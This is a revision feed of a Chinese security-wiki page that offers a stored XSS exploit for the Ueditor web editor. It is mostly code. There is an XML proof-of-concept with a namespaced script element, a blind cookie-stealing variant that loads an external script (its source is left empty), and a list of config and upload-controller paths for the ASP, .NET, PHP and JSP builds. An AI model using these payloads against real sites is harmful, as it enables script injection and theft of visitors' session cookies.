https://pwnwiki.com/index.php?action=history&feed=atom&title=Ueditor_%E5%AD%98%E5%84%B2%E5%9E%8BXSS%E6%BC%8F%E6%B4%9E
Ueditor 存儲型XSS漏洞 - Revision history
2026-04-10T01:53:10Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=Ueditor_%E5%AD%98%E5%84%B2%E5%9E%8BXSS%E6%BC%8F%E6%B4%9E&diff=1759&oldid=prev
Pwnwiki: Created page with "==POC== <pre> <html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html> 盲打Cookie、src=""..."
2021-04-20T05:43:12Z
<p>Created page with "==POC== <pre> <html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html> 盲打Cookie、src=""..."</p>
<p><b>New page</b></p><div>==POC==<br />
<pre><br />
<html><br />
<head></head><br />
<body><br />
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script><br />
</body><br />
</html><br />
<br />
<br />
盲打Cookie、src=""：<br />
<something:script src="" xmlns:something="http://www.w3.org/1999/xhtml"></something:script><br />
</pre><br />
<br />
Ueditor 默認支持上傳 xml ：config.json可以查看支持上傳的後綴<br />
<pre><br />
/ueditor/asp/config.json <br />
/ueditor/net/config.json <br />
/ueditor/php/config.json <br />
/ueditor/jsp/config.json<br />
</pre><br />
<br />
<br />
上傳文件路徑<br />
<pre><br />
/ueditor/index.html<br />
<br />
/ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile<br />
<br />
/ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile<br />
<br />
/ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage<br />
<br />
/ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimag<br />
</pre></div>
Pwnwiki